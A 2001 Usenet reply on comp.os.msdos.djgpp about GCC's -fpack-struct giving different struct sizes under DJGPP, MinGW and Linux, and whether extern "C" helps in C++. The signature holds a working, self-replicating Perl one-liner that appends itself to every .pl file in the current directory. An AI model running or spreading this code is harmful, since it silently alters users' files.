From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) Newsgroups: comp.os.msdos.djgpp Subject: Re: MINGW vs DJGPP References: <3ADDD586 DOT 15573 DOT EE76FB AT localhost> <3ADDEDDC DOT 30481 DOT 14D88F5 AT localhost> X-newsgroup: comp.os.msdos.djgpp X-realname: pavenis AT lanet DOT lv X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Wed, 18 Apr 2001 20:32:15 +0200 Lines: 59 NNTP-Posting-Host: 213.6.224.25 X-Trace: 987617825 news.freenet.de 8737 213.6.224.25 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com pavenis AT lanet DOT lv wrote: > On 18 Apr 2001, at 18:05, Eli Zaretskii wrote: > > > > On Wed, 18 Apr 2001 pavenis AT lanet DOT lv wrote: > > > > > > > Compiler switch reported size of struct vp > > > > > djgpp gcc 2.95.2 -fpack-struct 80 eighty > > > > > djgpp gcc 2.95.3 -fpack-struct 79 seventynine > > > > > mingw gcc 2.95.2 -fpack-struct 79 seventynine > > > > > djgpp gcc 2.95.2 80 eighty > > > > > djgpp gcc 2.95.3 80 eighty > > > > > mingw gcc 2.95.2 88 eightyeight > > > > > > > > > > when manually added, the sum of the sizes of the struct members is _79_ > > > > > > > > So it looks like -fpack-struct does work, at least in 2.95.3. > > > > > > With my test case I'm getting following results: > > > > > > DJGPP port of gcc-2.95.3 : doen't work > > > > This is _really_ strange: how come the same binary yields different > > results? Does the bug depend on the struct layout perhaps? > > > > I also don't understand why are there differences between MinGW, DJGPP, > > and GNU/Linux for the same GCC version: these all target the same > > processor, so the alignment of struct fields should be the same, no? > > Well it seems to work with C but not with C++ (I tested C++ first). The > same under Linux. > > For MINGW and with gcc-3.0 prerelease -fpack-struct works both for > C and C++ What happens if you declare and define the structure as extern "C"? Does that work? extern "C" struct TEST { // ... }; or extern "C" { struct TEST { // ... }; } ??? -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################